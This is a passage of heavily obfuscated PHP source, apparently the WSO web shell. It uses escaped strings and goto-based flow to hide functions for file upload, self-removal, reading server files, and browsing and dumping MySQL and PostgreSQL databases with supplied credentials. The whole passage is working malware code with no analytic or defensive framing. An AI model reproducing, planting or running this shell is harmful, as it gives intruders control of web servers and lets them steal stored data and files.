5\40\155\145\164\150\157\144\75\x27\x70\x6f\x73\164\x27\x20\x45\116\x43\124\x59\x50\x45\x3d\x27\155\165\x6c\x74\151\x70\141\162\164\57\146\x6f\162\155\55\x64\141\x74\141\x27\76\xa\x9\11\74\151\156\x70\165\x74\x20\x74\171\160\145\75\150\x69\x64\x64\145\156\x20\156\141\155\x65\75\141\x20\x76\141\x6c\165\x65\x3d\47\x46\x69\154\145\x73\x4d\101\156\47\76\12\x9\x9\x3c\151\156\160\165\x74\x20\164\x79\160\x65\75\150\x69\144\x64\145\x6e\40\x6e\x61\155\145\x3d\x63\40\166\x61\154\x75\x65\x3d\47" . $GLOBALS["\x63\167\144"] . "\47\76\xa\11\x9\74\151\x6e\x70\x75\164\40\164\x79\160\145\75\x68\151\x64\144\x65\x6e\40\x6e\x61\155\145\x3d\x70\61\40\x76\x61\154\165\x65\x3d\x27\x75\160\x6c\157\141\x64\106\151\154\x65\47\x3e\12\x9\x9\74\151\x6e\x70\x75\x74\40\x74\171\x70\x65\75\150\151\144\144\145\156\40\x6e\141\x6d\145\x3d\143\x68\x61\162\x73\x65\164\x20\x76\x61\154\165\145\75\47" . (isset($_POST["\x63\150\x61\162\x73\145\164"]) ? $_POST["\x63\150\x61\x72\x73\x65\x74"] : '') . "\x27\76\xa\x9\11\74\163\x70\x61\x6e\x3e\x55\x70\154\x6f\141\x64\40\x66\151\154\145\x3a\x3c\57\163\160\x61\156\x3e{$is_writable}\x3c\x62\162\x3e\74\x69\156\160\x75\x74\40\x63\x6c\141\x73\x73\75\47\x74\157\157\x6c\x73\x49\x6e\160\x27\x20\x74\171\160\x65\75\146\x69\154\x65\x20\x6e\141\155\x65\x3d\x66\x3e\74\x69\156\x70\165\x74\40\164\171\x70\x65\x3d\163\x75\x62\x6d\x69\x74\40\166\141\x6c\x75\145\75\47\x3e\76\x27\x3e\x3c\x2f\146\x6f\162\155\76\x3c\142\x72\x20\40\x3e\74\x2f\x74\x64\76\xa\11\74\x2f\164\162\76\74\x2f\164\141\142\x6c\145\76\x3c\57\144\x69\x76\76\74\x2f\142\x6f\144\x79\x3e\x3c\x2f\x68\x74\155\154\76"; } goto LHDJO; OhPGq: function actionSelfRemove() { if ($_POST["\x70\61"] == "\x79\x65\163") { if (@unlink(preg_replace("\41\134\x28\x5c\144\x2b\134\x29\x5c\x73\56\x2a\x21", '', __FILE__))) { die("\123\150\x65\154\154\40\x68\x61\x73\40\142\145\x65\x6e\x20\x72\145\155\x6f\166\145\144"); } else { echo "\x75\156\154\151\x6e\153\40\x65\162\x72\157\162\41"; } } if ($_POST["\160\61"] != "\x79\145\163") { wsoHeader(); } echo "\74\x68\x31\x3e\123\165\151\x63\x69\x64\145\74\x2f\x68\x31\x3e\x3c\x64\151\166\40\143\x6c\x61\x73\x73\x3d\x63\157\x6e\164\145\156\x74\76\x52\145\141\x6c\x6c\x79\x20\167\141\x6e\x74\40\x74\x6f\40\162\x65\155\157\166\x65\x20\x74\150\145\x20\163\150\145\x6c\154\77\74\x62\x72\76\74\141\40\x68\162\145\146\75\x23\40\x6f\156\143\154\151\143\153\x3d\x22\x67\x28\156\x75\154\154\54\x6e\165\x6c\x6c\x2c\x27\171\x65\163\x27\51\x22\76\131\145\163\74\x2f\141\76\x3c\57\144\151\x76\76"; wsoFooter(); } goto imkkm; NCu9f: $safe_mode = @ini_get("\x73\141\x66\x65\x5f\155\x6f\144\145"); goto iZJdO; BR0ty: function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname) { switch ($this->type) { case "\x6d\x79\x73\161\x6c": if ($this->link = @mysql_connect($host, $user, $pass, true)) { return true; } break; case "\160\x67\163\161\154": $host = explode("\72", $host); if (!$host[1]) { $host[1] = 5432; } if ($this->link = @pg_connect("\150\x6f\x73\x74\75{$host[0]}\x20\x70\x6f\162\x74\x3d{$host[1]}\40\165\163\x65\x72\75{$user}\40\160\141\163\163\167\x6f\x72\x64\x3d{$pass}\40\144\x62\156\x61\x6d\x65\75{$dbname}")) { return true; } break; } return false; } function selectdb($db) { switch ($this->type) { case "\155\x79\163\161\154": if (@mysql_select_db($db)) { return true; } break; } return false; } function query($str) { switch ($this->type) { case "\x6d\x79\x73\x71\154": return $this->res = @mysql_query($str); break; case "\x70\147\x73\x71\154": return $this->res = @pg_query($this->link, $str); break; } return false; } function fetch() { $res = func_num_args() ? func_get_arg(0) : $this->res; switch ($this->type) { case "\x6d\x79\163\161\x6c": return @mysql_fetch_assoc($res); break; case "\x70\147\x73\161\154": return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch ($this->type) { case "\x6d\x79\x73\x71\154": return $this->query("\x53\x48\117\127\40\144\x61\164\x61\142\141\163\145\163"); break; case "\160\147\163\161\x6c": return $this->res = $this->query("\123\105\x4c\105\103\124\x20\144\x61\x74\156\141\x6d\x65\x20\106\x52\117\x4d\40\x70\x67\x5f\144\x61\x74\141\x62\141\x73\145\40\127\110\105\x52\x45\x20\144\141\164\151\163\x74\x65\x6d\160\x6c\141\164\145\41\75\47\x74\x27"); break; } return false; } function listTables() { switch ($this->type) { case "\155\x79\x73\161\x6c": return $this->res = $this->query("\123\110\x4f\127\x20\x54\x41\x42\114\105\x53"); break; case "\160\147\163\x71\x6c": return $this->res = $this->query("\163\x65\x6c\x65\x63\x74\40\164\141\142\154\145\137\156\141\155\145\x20\x66\162\157\x6d\40\x69\x6e\146\x6f\162\x6d\141\x74\x69\x6f\156\x5f\163\143\x68\145\x6d\x61\56\164\x61\x62\154\145\163\x20\x77\x68\145\x72\145\x20\x74\x61\x62\154\x65\x5f\163\x63\x68\x65\155\x61\40\x21\75\40\47\x69\x6e\x66\x6f\162\x6d\x61\x74\x69\x6f\156\x5f\x73\x63\150\x65\x6d\141\47\x20\101\116\104\40\x74\141\142\x6c\145\137\x73\143\150\x65\x6d\x61\x20\41\x3d\x20\47\160\147\x5f\143\x61\x74\141\154\x6f\x67\x27"); break; } return false; } function error() { switch ($this->type) { case "\x6d\171\x73\x71\x6c": return @mysql_error(); break; case "\x70\x67\x73\161\154": return @pg_last_error(); break; } return false; } function setCharset($str) { switch ($this->type) { case "\155\x79\163\x71\154": if (function_exists("\x6d\x79\163\161\154\x5f\x73\145\164\x5f\143\150\x61\x72\163\x65\x74")) { return @mysql_set_charset($str, $this->link); } else { $this->query("\123\105\x54\40\103\110\x41\122\x53\x45\124\40" . $str); } break; case "\160\x67\x73\161\154": return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch ($this->type) { case "\x6d\171\163\x71\x6c": return $this->fetch($this->query("\x53\105\114\105\x43\124\40\114\x4f\101\x44\x5f\106\x49\x4c\x45\50\x27" . addslashes($str) . "\x27\51\x20\141\x73\x20\146\151\154\145")); break; case "\160\x67\x73\x71\154": $this->query("\x43\x52\105\101\x54\105\x20\x54\101\x42\114\105\40\x77\x73\157\62\x28\x66\151\x6c\x65\x20\x74\x65\x78\164\x29\x3b\x43\x4f\120\131\x20\x77\163\x6f\62\x20\x46\x52\x4f\x4d\40\x27" . addslashes($str) . "\x27\73\x73\x65\154\x65\x63\x74\40\x66\x69\154\145\40\146\162\x6f\x6d\x20\x77\x73\157\x32\73"); $r = array(); while ($i = $this->fetch()) { $r[] = $i["\146\x69\x6c\145"]; } $this->query("\x64\x72\x6f\x70\x20\x74\x61\142\x6c\x65\x20\x77\x73\157\x32"); return array("\146\x69\154\x65" => implode("\12", $r)); break; } return false; } function dump($table, $fp = false) { switch ($this->type) { case "\x6d\171\163\x71\154": $res = $this->query("\x53\110\117\127\40\103\x52\x45\x41\x54\x45\40\x54\x41\102\114\x45\x20\x60" . $table . "\140"); $create = mysql_fetch_array($res); $sql = $create[1] . "\73\xa"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $this->query("\x53\105\x4c\105\x43\124\40\52\40\106\122\x4f\x4d\40\x60" . $table . "\x60"); $i = 0; $head = true; while ($item = $this->fetch()) { $sql = ''; if ($i % 1000 == 0) { $head = true; $sql = "\x3b\xa\12"; } $columns = array(); foreach ($item as $k => $v) { if ($v === null) { $item[$k] = "\116\125\114\x4c"; } elseif (is_int($v)) { $item[$k] = $v; } else { $item[$k] = "\47" . @mysql_real_escape_string($v) . "\47"; } $columns[] = "\x60" . $k . "\140"; } if ($head) { $sql .= "\x49\x4e\x53\105\122\x54\40\x49\116\124\x4f\40\140" . $table . "\140\x20\50" . implode("\54\x20", $columns) . "\51\x20\x56\101\114\125\105\123\x20\12\x9\50" . implode("\x2c\40", $item) . "\x29"; $head = false; } else { $sql .= "\xa\11\54\x28" . implode("\54\40", $item) . "\x29"; } if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $i++; } if (!$head) { if ($fp) { fwrite($fp, "\73\xa\xa"); } else { echo "\x3b\12\12"; } } break; case "\160\147\x73\x71\x6c": $this->query("\123\x45\114\x45\x43\x54\x20\x2a\x20\x46\122\117\x4d\40" . $table); while ($item = $this->fetch()) { $columns = array(); foreach ($item as $k => $v) { $item[$k] = "\x27" . addslashes($v) . "\x27"; $columns[] = $k; } $sql = "\111\116\x53\x45\x52\124\x20\111\x4e\124\117\x20" . $table . "\40\50" . implode("\x2c\x20", $columns) . "\x29\x20\126\101\x4c\125\x45\123\40\x28" . implode("\54\x20", $item) . "\51\x3b" . "\12"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } } break; } return false; } } $db = new DbClass($_POST["\x74\171\160\145"]); if (@$_POST["\160\62"] == "\x64\157\167\156\154\157\x61\144") { $db->connect($_POST["\x73\161\x6c\137\x68\157\163\x74"], $_POST["\x73\161\x6c\x5f\154\157\x67\x69\x6e"], $_POST["\163\161\154\x5f\x70\141\163\x73"], $_POST["\163\161\x6c\x5f\x62\141\163\x65"]); $db->selectdb($_POST["\163\x71\154\x5f\142\141\x73\x65"]); switch ($_POST["\143\150\141\162\x73\x65\x74"]) { case "\127\151\156\x64\x6f\167\163\x2d\x31\x32\65\x31": $db->setCharset("\x63\160\61\x32\x35\x31"); break; case "\125\124\x46\55\x38": $db->setCharset("\x75\x74\146\x38"); break; case "\x4b\x4f\x49\x38\x2d\122": $db->setCharset("\153\x6f\151\70\x72"); break; case "\113\117\111\x38\x2d\x55": $db->setCharset("\153\x6f\151\x38\x75"); break; case "\x63\x70\x38\66\66": $db->setCharset("\143\160\x38\x36\x36"); break; } if (empty($_POST["\146\151\154\145"])) { ob_start("\x6f\x62\137\x67\x7a\150\141\156\x64\x6c\x65\162", 4096); header("\x43\x6f\x6e\x74\145\156\164\55\x44\x69\163\160\157\163\151\164\x69\157\x6e\72\x20\x61\164\164\141\143\150\x6d\x65\156\164\x3b\x20\x66\x69\154\145\156\x61\x6d\145\75\x64\165\155\160\x2e\163\x71\154"); header("\x43\157\156\164\x65\x6e\x74\x2d\x54\x79\160\145\x3a\40\164\x65\x78\x74\57\x70\154\141\x69\x6e"); foreach ($_POST["\x74\142\154"] as $v) { $db->dump($v); } die; } elseif ($fp = @fopen($_POST["\146\151\154\x65"], "\x77")) { foreach ($_POST["\164\142\154"] as $v) { $db->dump($v, $fp); } fclose($fp); unset($_POST["\x70\62"]); } else { die("\74\163\x63\x72\x69\x70\x74\x3e\x61\x6c\145\162\164\50\42\x45\x72\162\x6f\162\41\x20\x43\141\x6e\47\164\40\x6f\160\x65\x6e\40\146\151\154\145\x22\x29\x3b\167\x69\156\144\157\167\x2e\x68\x69\163\x74\x6f\162\171\56\142\x61\x63\x6b\50\55\61\x29\x3c\57\x73\x63\162\x69\160\x74\76"); } } wsoHeader(); echo "\12\74\150\x31\76\x53\161\154\x20\142\162\157\167\163\145\x72\74\57\x68\61\76\x3c\x64\x69\x76\x20\x63\154\x61\163\163\75\x63\x6f\x6e\164\x65\x6e\x74\76\12\x3c\146\157\162\x6d\x20\156\x61\x6d\145\x3d\x27\163\x66\x27\x20\155\x65\x74\150\x6f\144\x3d\x27\160\157\x73\x74\47\x20\157\156\163\165\x62\x6d\x69\164\75\x27\146\x73\x28\x74\x68\151\163\x29\x3b\47\x3e\74\x74\x61\142\154\x65\40\x63\x65\x6c\x6c\x70\141\144\144\151\156\147\x3d\x27\62\47\40\x63\145\x6c\x6c\x73\160\141\143\151\x6e\147\x3d\x27\x30\x27\76\x3c\164\x72\76\12\x3c\164\144\76\x54\171\160\x65\74\x2f\164\144\x3e\74\x74\144\76\110\x6f\x73\x74\74\57\164\144\76\74\164\144\x3e\114\x6f\x67\x69\156\x3c\57\164\144\76\74\x74\144\76\120\141\163\163\167\157\x72\144\74\57\x74\x64\x3e\x3c\164\144\x3e\x44\141\164\x61\142\141\x73\x65\x3c\x2f\164\144\x3e\74\x74\144\76\x3c\x2f\164\x64\x3e\74\57\x74\x72\x3e\74\x74\x72\x3e\12\x3c\151\x6e\160\165\164\x20\164\x79\x70\145\x3d\x68\151\144\x64\x65\x6e\40\x6e\x61\x6d\x65\x3d\141\x20\x76\x61\154\x75\145\75\123\161\154\x3e\x3c\151\156\x70\165\164\40\164\x79\x70\145\x3d\150\151\x64\x64\145\x6e\x20\156\141\x6d\x65\x3d\160\61\40\x76\x61\154\x75\145\x3d\47\161\x75\x65\x72\x79\47\76\74\x69\x6e\x70\x75\x74\40\x74\x79\x70\x65\x3d\150\151\144\144\145\156\x20\x6e\141\x6d\145\x3d\x70\62\x20\166\x61\154\x75\x65\75\x27\x27\76\74\151\156\160\x75\x74\x20\164\x79\x70\x65\x3d\x68\x69\144\x64\145\x6e\40\156\141\155\x65\75\143\40\166\x61\x6c\x75\x65\x3d\47" . htmlspecialchars($GLOBALS["\x63\x77\144"]) . "\47\76\74\x69\x6e\160\x75\164\x20\164\x79\x70\145\75\x68\151\144\144\145\156\40\156\141\x6d\x65\x3d\143\x68\141\162\163\145\164\40\x76\141\154\x75\145\75\x27" . (isset($_POST["\143\x68\141\162\x73\x65\164"]) ? $_POST["\143\x68\x61\162\x73\145\x74"] : '') . "\x27\76\12\74\x74\x64\x3e\74\x73\x65\154\145\143\164\x20\x6e\141\x6d\145\x3d\47\x74\x79\160\145\x27\x3e\x3c\157\x70\164\x69\x6f\x6e\40\166\x61\x6c\165\145\75\47\155\x79\x73\161\154\47\x20"; if (@$_POST["\x74\x79\x70\x65"] == "\x6d\x79\163\161\154") { echo "\163\145\154\145\x63\164\x65\x64"; } echo "\x3e\115\171\x53\161\154\x3c\x2f\157\x70\x74\151\157\x6e\x3e\x3c\x6f\160\164\151\x6f\x6e\x20\x76\141\154\165\x65\x3d\47\160\x67\x73\161\x6c\47\x20"; if (@$_POST["\x74\171\x70\x65"] == "\x70\x67\163\161\154") { echo "\x73\x65\x6c\x65\x63\164\x65\x64"; } echo "\76\120\x6f\x73\x74\x67\162\145\123\161\x6c\74\x2f\157\x70\x74\x69\157\x6e\76\x3c\57\x73\x65\x6c\145\x63\164\76\x3c\x2f\164\x64\x3e\12\74\164\144\x3e\x3c\x69\x6e\160\165\x74\x20\164\171\160\x65\75\164\145\x78\x74\40\x6e\141\x6d\x65\x3d\x73\161\154\137\x68\x6f\163\x74\40\x76\x61\154\165\x65\x3d\x22" . (empty($_POST["\x73\161\154\x5f\150\x6f\x73\x74"]) ? "\x6c\x6f\x63\x61\154\150\157\x73\164" : htmlspecialchars($_POST["\163\x71\x6c\137\x68\157\163\164"])) . "\42\x3e\x3c\57\164\x64\76\xa\x3c\x74\x64\76\74\151\156\x70\165\x74\40\x74\x79\x70\x65\x3d\x74\145\170\x74\40\156\x61\155\x65\x3d\163\x71\x6c\x5f\x6c\x6f\147\x69\x6e\40\x76\141\154\165\x65\75\x22" . (empty($_POST["\163\161\x6c\x5f\154\x6f\147\x69\156"]) ? "\x72\157\x6f\x74" : htmlspecialchars($_POST["\x73\161\154\x5f\154\157\147\x69\156"])) . "\x22\x3e\74\x2f\x74\144\x3e\12\74\164\144\x3e\74\151\x6e\x70\165\164\x20\164\171\x70\145\75\164\x65\x78\x74\40\156\141\155\145\75\163\161\154\137\160\x61\163\163\x20\x76\x61\154\x75\x65\x3d\x22" . (empty($_POST["\163\x71\x6c\x5f\160\141\x73\163"]) ? '' : htmlspecialchars($_POST["\163\x71\154\x5f\160\x61\163\x73"])) . "\42\x3e\74\57\164\x64\76\74\164\144\x3e"; $tmp = "\x3c\151\x6e\x70\165\164\40\x74\171\x70\x65\75\164\145\170\x74\x20\x6e\x61\x6d\x65\75\163\161\154\137\142\141\x73\145\40\166\141\154\165\145\x3d\x27\47\x3e"; if (isset($_POST["\163\x71\x6c\137\x68\x6f\x73\164"])) { if ($db->connect($_POST["\x73\161\154\x5f\x68\x6f\163\x74"], $_POST["\x73\x71\154\137\x6c\157\147\x69\x6e"], $_POST["\x73\161\x6c\x5f\x70\141\x73\163"], $_POST["\163\161\154\137\x62\x61\x73\145"])) { switch ($_POST["\143\150\141\x72\x73\145\164"]) { case "\127\x69\156\144\157\167\163\x2d\x31\62\65\x31": $db->setCharset("\143\x70\x31\x32\65\x31"); break; case "\x55\124\106\x2d\70": $db->setCharset("\x75\x74\146\x38"); break; case "\113\117\111\70\55\x52": $db->setCharset("\x6b\157\x69\x38\162"); break; case "\113\117\111\x38\x2d\x55": $db->setCharset("\x6b\157\151\x38\165"); break; case "\x63\160\70\x36\x36": $db->setCharset("\x63\x70\70\66\x36"); break; } $db->listDbs(); echo "\x3c\163\145\154\x65\x63\164\40\x6e\141\155\x65\x3d\163\x71\x6c\137\142\141\163\x65\x3e\74\157\x70\164\x69\157\156\x20\x76\x61\154\x75\x65\75\47\x27\x3e\x3c\57\x6f\160\164\x69\x6f\x6e\76"; while ($item = $db->fetch()) { list($key, $value) = each($item); echo "\74\x6f\160\x74\151\x6f\156\40\166\x61\x6c\165\145\75\x22" . $value . "\x22\x20" . ($value == $_POST["\x73\161\154\x5f\142\141\163\x65"] ? "\x73\145\x6c\x65\143\164\x65\x64" : '') . "\76" . $value . "\74\57\x6f\x70\164\151\157\x6e\x3e"; } echo "\74\x2f\163\x65\x6c\145\x63\164\x3e"; } else { echo $tmp; } } else { echo $tmp; } echo "\x3c\x2f\x74\144\76\12\x9\x9\x9\11\74\x74\144\76\74\x69\156\x70\165\164\x20\164\171\160\x65\x3d\163\x75\x62\155\151\164\40\166\141\x6c\x75\145\x3d\x27\76\x3e\x27\40\157\156\x63\154\x69\x63\x6b\75\47\146\163\x28\144\x2e\163\x66\51\x3b\x27\76\74\x2f\x74\144\76\xa\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x3c\x74\x64\x3e\x3c\x69\156\x70\x75\164\x20\164\171\x70\145\75\x63\x68\x65\x63\x6b\142\x6f\170\x20\156\x61\x6d\145\x3d\x73\x71\x6c\x5f\x63\x6f\x75\156\x74\x20\x76\x61\x6c\x75\145\75\x27\x6f\x6e\47" . (empty($_POST["\163\161\x6c\x5f\143\x6f\165\x6e\x74"]) ? '' : "\x20\143\150\x65\143\x6b\145\x64") . "\x3e\40\x63\157\x75\156\164\x20\x74\x68\145\40\x6e\165\155\x62\x65\x72\40\157\146\x20\x72\x6f\167\x73\74\57\x74\x64\76\xa\x9\11\11\74\57\x74\x72\x3e\xa\x9\11\74\x2f\164\x61\142\154\x65\76\12\11\x9\x3c\x73\143\162\151\x70\x74\76\12\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x73\x5f\144\142\x3d\x27" . @addslashes($_POST["\x73\x71\154\x5f\x62\x61\x73\x65"]) . "\x27\73\xa\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\146\165\156\143\164\151\157\156\x20\146\163\x28\146\51\x20\173\12\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x69\x66\50\146\x2e\x73\161\154\137\x62\x61\163\x65\56\166\x61\154\x75\x65\41\x3d\163\137\144\x62\x29\x20\x7b\x20\146\56\157\x6e\x73\165\142\x6d\x69\x74\40\x3d\40\146\165\156\x63\164\x69\157\x6e\x28\51\x20\x7b\175\x3b\12\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x69\x66\50\x66\56\x70\61\x29\x20\x66\56\160\x31\56\x76\x61\154\x75\145\75\x27\47\x3b\xa\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\151\146\x28\146\56\160\x32\x29\40\146\56\x70\x32\x2e\x76\x61\154\x75\145\x3d\47\x27\73\xa\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\151\x66\50\x66\56\160\x33\51\x20\146\56\x70\63\x2e\166\x61\x6c\165\145\x3d\x27\x27\x3b\xa\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\175\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x7d\xa\11\x9\x9\x66\165\156\143\164\x69\157\156\x20\163\x74\50\164\54\x6c\x29\x20\173\12\x9\x9\11\x9\x64\56\163\146\56\160\x31\56\166\x61\x6c\x75\x65\x20\75\x20\47\163\x65\154\145\x63\x74\47\x3b\xa\11\x9\11\x9\x64\56\163\146\x2e\x70\62\x2e\166\141\x6c\165\x65\x20\75\40\x74\x3b\12\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\151\146\50\154\x20\46\x26\40\x64\56\x73\146\56\160\63\51\x20\144\56\x73\146\56\160\63\56\x76\141\154\x75\145\40\x3d\40\154\x3b\xa\x9\x9\11\x9\x64\x2e\x73\x66\56\x73\x75\x62\155\x69\164\x28\x29\x3b\12\11\x9\x9\x7d\xa\11\11\x9\x66\x75\x6e\x63\x74\151\157\156\x20\151\163\x28\x29\x20\x7b\12\x9\11\x9\11\x66\157\162\x28\x69\x3d\60\x3b\151\x3c\x64\56\x73\x66\x2e\145\x6c\x65\x6d\145\x6e\x74\x73\x5b\47\164\142\154\133\135\47\x5d\x2e\154\145\x6e\x67\x74\150\73\x2b\x2b\151\x29\12\11\11\11\11\11\x64\56\x73\x66\56\x65\154\145\x6d\x65\156\164\163\133\47\x74\x62\x6c\133\x5d\x27\x5d\133\151\135\x2e\143\150\145\x63\x6b\145\x64\x20\75\x20\41\x64\x2e\163\146\x2e\145\154\145\x6d\x65\156\x74\x73\x5b\x27\x74\x62\154\x5b\x5d\x27\x5d\133\151\x5d\x2e\x63\150\x65\143\x6b\x65\x64\73\xa\x9\11\11\175\12\11\11\x3c\x2f\163\x63\x72\x69\x70\x74\76"; if (isset($db) && $db->link) { echo "\x3c\x62\162\x2f\76\74\x74\x61\x62\154\145\x20\167\151\x64\164\150\x3d\61\60\60\x25\x20\x63\x65\x6c\154\160\x61\144\144\151\156\x67\x3d\x32\40\x63\x65\154\x6c\x73\x70\141\x63\151\156\147\x3d\x30\x3e"; if (!empty($_POST["\x73\x71\154\137\142\141\163\145"])) { $db->selectdb($_POST["\163\x71\154\137\x62\x61\163\145"]); echo "\x3c\164\162\x3e\x3c\164\x64\40\x77\151\x64\164\x68\75\x31\x20\163\x74\171\154\145\x3d\x27\142\x6f\x72\x64\145\162\x2d\x74\x6f\x70\72\62\x70\170\x20\x73\x6f\154\x69\144\x20\x23\66\66\66\x3b\47\76\x3c\163\x70\141\x6e\x3e\x54\x61\x62\x6c\145\x73\x3a\x3c\x2f\x73\x70\141\156\76\x3c\x62\162\x3e\74\x62\x72\x3e"; $tbls_res = $db->listTables(); while ($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); if (!empty($_POST["\x73\161\x6c\x5f\143\157\165\156\x74"])) { $n = $db->fetch($db->query("\x53\x45\x4c\105\x43\x54\40\103\117\125\x4e\124\50\52\51\40\141\163\x20\156\x20\x46\x52\x4f\x4d\x20" . $value . '')); } $value = htmlspecialchars($value); echo "\x3c\x6e\x6f\142\162\76\x3c\151\x6e\160\x75\164\40\164\171\160\x65\x3d\x27\x63\x68\145\143\153\x62\157\x78\47\x20\x6e\x61\155\145\75\x27\164\142\x6c\133\x5d\x27\40\x76\141\154\x75\145\x3d\47" . $value . "\x27\76\46\156\142\163\x70\x3b\x3c\141\40\150\162\145\x66\x3d\43\x20\157\x6e\x63\154\x69\143\153\x3d\x22\163\x74\x28\x27" . $value . "\47\54\x31\51\42\76" . $value . "\x3c\x2f\141\x3e" . (empty($_POST["\x73\161\x6c\x5f\143\157\165\156\164"]) ? "\x26\156\x62\x73\160\x3b" : "\40\74\x73\x6d\141\x6c\154\76\50{$n["\x6e"]}\51\x3c\57\x73\x6d\x61\154\x6c\76") . "\x3c\x2f\156\x6f\142\162\x3e\74\x62\x72\76"; } echo "\x3c\x69\156\160\x75\x74\x20\164\171\160\145\x3d\47\x63\x68\145\143\153\x62\157\x78\47\40\157\x6e\x63\154\151\143\153\x3d\47\x69\163\x28\x29\73\47\76\40\74\151\x6e\x70\x75\164\x20\x74\x79\160\x65\75\142\165\x74\164\157\156\x20\x76\141\x6c\x75\145\75\x27\104\165\x6d\160\x27\40\157\156\143\x6c\151\143\x6b\75\47\144\157\x63\x75\155\x65\x6e\164\56\163\x66\x2e\x70\62\56\x76\141\x6c\x75\x65\75\x22\x64\157\x77\156\x6c\x6f\x61\144\42\x3b\x64\x6f\x63\x75\155\145\156\x74\56\x73\146\x2e\163\165\x62\155\151\x74\x28\x29\x3b\x27\76\x3c\x62\x72\x3e\x46\x69\154\x65\x20\x70\x61\x74\150\72\x3c\x69\x6e\160\165\164\x20\x74\x79\x70\145\75\164\x65\x78\x74\x20\156\x61\x6d\x65\x3d\x66\151\x6c\145\x20\x76\141\154\x75\145\x3d\x27\x64\x75\155\160\56\163\161\154\47\76\x3c\x2f\x74\144\x3e\74\x74\x64\40\163\164\x79\154\x65\75\x27\x62\x6f\162\144\145\x72\55\x74\157\x70\72\62\160\x78\x20\163\x6f\154\151\x64\x20\43\66\x36\x36\73\47\76"; if (@$_POST["\x70\x31"] == "\163\145\x6c\x65\143\164") { $_POST["\160\61"] = "\161\x75\145\x72\171"; $_POST["\x70\63"] = $_POST["\x70\63"] ? $_POST["\160\x33"] : 1; $db->query("\123\105\114\x45\x43\x54\x20\103\117\x55\116\x54\50\x2a\51\40\x61\163\x20\x6e\x20\106\x52\117\115\40" . $_POST["\x70\62"]); $num = $db->fetch(); $pages = ceil($num["\x6e"] / 30); echo "\x3c\163\143\162\151\x70\164\x3e\144\56\163\x66\x2e\x6f\156\x73\165\x62\x6d\x69\164\75\146\165\156\143\x74\x69\157\x6e\x28\51\x7b\163\164\50\x22" . $_POST["\160\62"] . "\x22\x2c\40\144\x2e\x73\146\x2e\x70\x33\x2e\x76\141\x6c\x75\145\51\175\74\57\163\x63\x72\151\x70\x74\x3e\x3c\163\x70\141\x6e\x3e" . $_POST["\160\x32"] . "\x3c\57\x73\160\x61\156\76\x20\50{$num["\x6e"]}\40\x72\x65\x63\157\x72\x64\x73\51\40\120\x61\147\x65\40\x23\x20\74\151\156\160\165\164\40\x74\x79\x70\x65\75\x74\145\170\164\40\x6e\141\x6d\x65\x3d\47\160\x33\x27\40\166\x61\x6c\165\145\75" . (int) $_POST["\x70\63"] . "\76"; echo "\40\157\146\40{$pages}"; if ($_POST["\x70\x33"] > 1) { echo "\x20\x3c\141\x20\x68\162\x65\146\75\x23\40\x6f\156\x63\x6c\x69\143\153\75\47\x73\164\x28\42" . $_POST["\160\62"] . "\42\x2c\40" . ($_POST["\x70\63"] - 1) . "\x29\47\x3e\46\x6c\x74\73\x20\120\x72\145\x76\x3c\x2f\141\x3e"; } if ($_POST["\x70\x33"] < $pages) { echo "\40\74\141\x20\x68\x72\145\x66\x3d\x23\x20\x6f\156\x63\x6c\151\143\153\x3d\47\163\x74\50\42" . $_POST["\x70\62"] . "\x22\x2c\x20" . ($_POST["\x70\x33"] + 1) . "\51\47\x3e\x4e\x65\170\x74\40\46\147\x74\73\x3c\x2f\x61\76"; } $_POST["\x70\63"]--; if ($_POST["\x74\171\x70\145"] == "\160\147\x73\161\154") { $_POST["\160\x32"] = "\x53\105\114\x45\x43\124\40\x2a\x20\106\122\117\115\40" . $_POST["\x70\62"] . "\40\x4c\x49\x4d\111\124\x20\63\x30\40\x4f\106\x46\123\105\x54\40" . $_POST["\160\63"] * 30; } else { $_POST["\x70\62"] = "\123\105\x4c\x45\x43\x54\x20\52\x20\x46\122\x4f\x4d\x20\x60" . $_POST["\160\x32"] . "\140\x20\114\x49\x4d\111\124\40" . $_POST["\x70\63"] * 30 . "\x2c\x33\60"; } echo "\74\142\162\76\x3c\x62\x72\76"; } if (@$_POST["\160\x31"] == "\161\x75\x65\x72\171" && !empty($_POST["\160\x32"])) { $db->query(@$_POST["\160\62"]); if ($db->res !== false) { $title = false; echo "\74\x74\141\x62\x6c\145\40\x77\151\x64\x74\150\75\x31\x30\x30\x25\x20\143\145\x6c\x6c\x73\x70\x61\x63\x69\156\x67\x3d\61\x20\143\145\154\x6c\x70\x61\144\144\x69\156\147\x3d\62\x20\x63\154\141\163\163\75\x6d\141\151\156\40\163\x74\x79\x6c\x65\75\x22\x62\141\143\x6b\x67\x72\157\x75\x6e\x64\x2d\x63\x6f\154\157\162\x3a\x23\x32\71\x32\x39\x32\71\42\76"; $line = 1; while ($item = $db->fetch()) { if (!$title) { echo "\74\164\162\x3e"; foreach ($item as $key => $value) { echo "\x3c\164\150\x3e" . $key . "\x3c\x2f\164\x68\x3e"; } reset($item); $title = true; echo "\74\x2f\x74\x72\x3e\74\164\x72\76"; $line = 2; } echo "\x3c\x74\162\x20\143\x6c\x61\x73\x73\x3d\x22\x6c" . $line . "\42\x3e"; $line = $line == 1 ? 2 : 1; foreach ($item as $key => $value) { if ($value == null) { echo "\74\x74\x64\x3e\74\x69\x3e\x6e\x75\154\x6c\x3c\57\151\76\74\57\164\x64\x3e"; } else { echo 